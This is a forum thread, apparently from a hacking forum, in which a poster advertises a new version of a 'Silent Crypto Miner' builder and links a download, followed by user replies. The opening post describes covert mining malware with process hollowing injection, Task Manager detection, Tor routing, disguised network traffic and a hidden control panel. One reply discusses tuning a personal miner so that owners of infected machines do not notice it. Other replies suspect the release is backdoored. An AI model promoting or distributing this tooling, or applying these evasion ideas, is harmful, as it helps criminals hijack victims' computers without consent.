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Thread: [Silent Crypto Miner v4.1.0](#)

SilentCoin - December 30, 2025, 3:39 pm

Silent Crypto Miner Builder v4.1.0 - Major Update Release

? What's New

? Tor Support

Full Tor integration for anonymous mining operations with automatic proxy routing and `.onion` address support. Your mining traffic is now completely anonymous.

? Windows 11 Smart Injection

Advanced injection technique optimized for Windows 11 with automatic fallback mechanism. Uses modern `ghostly\_hollowing` first, falls back to classic `process\_hollowing` if needed. Enhanced stealth capabilities on Windows 11 Build 22000+.

? Technical Improvements

- Memory-mapped file approach for payload injection (reduces detection)
- Pre-warming memory pages to avoid page fault storms

Xmrige 6.24.0 Integration

? Privacy & Security

- Encrypted POST requests to the panel - all data transmitted securely
- Enhanced memory protection - confidential data hidden from process analysis
- Professional security standards - passwords and wallet addresses protected

? Advanced Stealth System

Smart Jitter Delays:

- Intelligent pauses (7-12 sec base, up to 45-60 sec when needed)
- Activity-responsive delays - adapts to user input
- Unique timing per miner to avoid pattern detection

Smooth Ramp Up:

- Gradual CPU load increase (starts at 10 threads, adds 10% every ~60 sec)
- No sudden temperature spikes or fan noise
- Natural "waking up" behavior

Triggers:

- Fullscreen detection (games, videos, presentations)
- Process monitoring (Task Manager, process monitors)

? Backup Pools - Zero Downtime Mining

- Automatic failover to backup pools during main pool failures
- Full autonomy - continues mining even if remote config is lost
- Real-time pool status monitoring (HEALTHY, DEGRADED, UNSTABLE, BANNED)
- Transparent diagnostics - see exactly why switches occurred

? Enhanced Control Panel

- Real-time pool statuses - see health of all pools instantly
- Smart configuration rules - automatic switching during problems
- Miner ranking system - best performers at the top
- Maximum hashrate indicator - see real potential vs current performance
- Connection monitoring - built-in analytics for pool status and errors

? Network Request Randomization

- Random User-Agents (masquerades as browsers)
- Randomized request intervals ($\pm 10\%$ variation)
- Unpredictable connection patterns
- Result: Network traffic indistinguishable from regular user activity

? Control Panel Obfuscation

- Random file and folder names (login.php, assets/, etc. renamed)
- Hidden API endpoints and CSS/JS functions
- Unique structure per installation
- Protection: Automatic scanners cannot find the panel

Why Upgrade?

- ? More Secure - Encrypted communications, memory protection, panel obfuscation
- ? More Invisible - Advanced stealth with smart delays and smooth load management
- ? More Stable - Backup pools ensure continuous mining
- ? More Anonymous - Full Tor support for complete privacy
- ? Better Control - Enhanced panel with real-time monitoring and diagnostics
- ? Windows 11 Ready - Optimized injection for latest Windows builds

Bottom Line: v4.1.0 brings professional-grade stealth, security, and reliability. Your miners will be more invisible, more stable, and more profitable.

Silent Crypto Miner Builder v4.1.0 - When stealth meets reliability

<https://drive.proton.me/urls/QQTNDZA2N8#MOEX3L3zpb0t>

possessed-client - December 31, 2025, 6:22 am

Even less open-source than previous UnamSanctam projects, where the loader wrapper was open-source while all features implemented within xmrigh mod were closed, don't remember about the rootkit mod, I think it was closed as well. I always wondered what was the catch, was the donation rate secretly high, or other backdoors...

But interesting new features, I must say. "- Pre-warming memory pages to avoid page fault storms" - is this a xmrigh mining stability improvement (in which case any idea why the xmrigh devs haven't implemented?), or about injection?

"Enhanced memory protection" - how is this implemented, is it like C2 sleep masks, or just encrypting/decrypting variables on fly based on use needs?

"Professional security standards - passwords and wallet addresses protected" - still PEB editing to pass args, or other ways to pass config to xmrigh?

"Process monitoring" - I remember asking Unam at one point whether a smarter visible window based detection could be implemented, which he denied, but recently I asked an LLM and it said that this is doable and that there's a Chromium component that does this, but I haven't looked into how much size bloat would that cause and what tangible benefits would it have to justify implementation effort. Same with the warm-up behaviour you've implemented, cool feature, but I don't know how important this is, I just delay run on startup slightly and mine on 20% while active,

increasing to higher if idle for long enough, seems to be stealthy enough. Smart powerusers will notice even with warmup, but there's not that many of those.

The Network Request Randomization also is very cool, though again how many AVs actually detect based on this, so for my personal xmrigh mod I don't know if it's worth the effort.
And the panel stats and improvements sound, of course, nice.

Another data thing that I've been considering is an optional switch to save and transfer the standard xmrigh logs, because for some machines I've noticed that xmrigh exits instantly even though the CPU has enough cache and there's RAM. They're rare, but still weird. Also, I don't think the official xmrigh light mining mode ever automatically works as fallback on low RAM machines regardless of config mode setting, planning to fix it someday, there are machines with old i7 4 core CPUs that have low RAM, might be worth mining on them anyway. Alternatively I could set it up to fall back to GhostRider, don't know what would be more lucrative.

Ziggy Pøp - January 27, 2026, 8:15 am

1 post and 1 thread? Joined last month? Immediately linking to a closed source version of unam sanctums silent crypto miner? Looks like the thread was written by AI?
This seems extremely sus. It's probably backdoored

jmark7 - January 27, 2026, 8:40 am

you should make it opensource to gain more trust on your release.

Borris5ranked - July 23, 2026, 6:06 pm

Nice I definitely will be trying this miner out.

zzzyyds1 - August 3, 2026, 9:22 am

Try not to download it. It is likely to contain backdoors. It has been published on bhf.